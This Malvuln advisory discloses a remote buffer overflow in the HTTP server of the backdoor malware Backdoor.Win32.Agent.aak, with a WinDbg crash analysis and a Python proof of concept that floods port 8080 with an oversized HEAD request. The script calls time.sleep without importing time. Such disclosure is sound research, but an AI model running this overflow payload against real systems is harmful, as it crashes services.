Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.aak Vulnerability: Remote Buffer Overflow Description: The HTTP backdoor server HBKDR v0.3 listens on TCP port 8080 and accepts HTTP POST requests, by sending a specially crafted HTTP HEAD request payload we can trigger buffer overflow and overwrite registers EAX, ECX resulting in malware crash and burn. Type: PE32 MD5: 64f2fd4dbd9039e5bc054f475eaa582a Vuln ID: MVID-2021-0096 Dropped files: Disclosure: 02/18/2021 Memory Dump: (d58.77c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414111 edx=453b611d esi=00000003 edi=00000003 eip=77dced3c esp=041bd4c4 ebp=041bd654 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 77dced3c c21400 ret 14h 0:002> .ecxr eax=41414111 ebx=0000016c ecx=41414111 edx=453b611d esi=00000001 edi=041bdf1c eip=0040ab87 esp=041bde04 ebp=041bde40 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 *** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0xab87: 0040ab87 8942fc mov dword ptr [edx-4],eax ds:002b:453b6119=???????? 0:002> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87 0040ab87 8942fc mov dword ptr [edx-4],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0040ab87 (Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x0000ab87) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 453b6119 Attempt to write to address 453b6119 PROCESS_NAME: Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 453b6119 WRITE_ADDRESS: 453b6119 FOLLOWUP_IP: Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87 0040ab87 8942fc mov dword ptr [edx-4],eax MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 0000077c BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE LAST_CONTROL_TRANSFER: from 00409b38 to 0040ab87 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 041bde40 00409b38 00000025 00000025 041bde78 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0xab87 041bde50 00403a42 00000025 041bdf1c 041bdf2c Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x9b38 041bde78 00403849 00000001 00000001 00000000 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x3a42 041bde94 004037d8 00000001 00000000 00000001 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x3849 041bdeb0 004019fa 00000001 041bff80 041bdf2c Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x37d8 041bdf1c 0040113f 041bdf7c 00001996 00401023 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x19fa 041bff80 750f8654 0000016c 750f8630 81b7802f Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x113f 041bff94 77dc4a77 0000016c 501ec1db 00000000 kernel32!BaseThreadInitThunk+0x24 041bffdc 77dc4a47 ffffffff 77de9ed1 00000000 ntdll!__RtlUserThreadStart+0x2f 041bffec 00000000 00401023 0000016c 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~2s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a IMAGE_NAME: Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe DEBUG_FLR_IMAGE_TIMESTAMP: 446247ed FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe!Unknown BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=8080 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PBARBAR = "HEAD /"+"\x41"*4489+" HTTP/1."+"\x41"*2000+"\r\n\r\nHost: "+MALWARE_HOST+"\r\nConnection: close\r\n\r\n" s.send(PBARBAR) s.close() print("Backdoor.Win32.Agent.aak / Remote Buffer Overflow") print("MD5: 64f2fd4dbd9039e5bc054f475eaa582a") print("By Malvuln"); c=0 if __name__=="__main__": for i in range(0, 10): c+=1 doit() time.sleep(0.5) print(c) Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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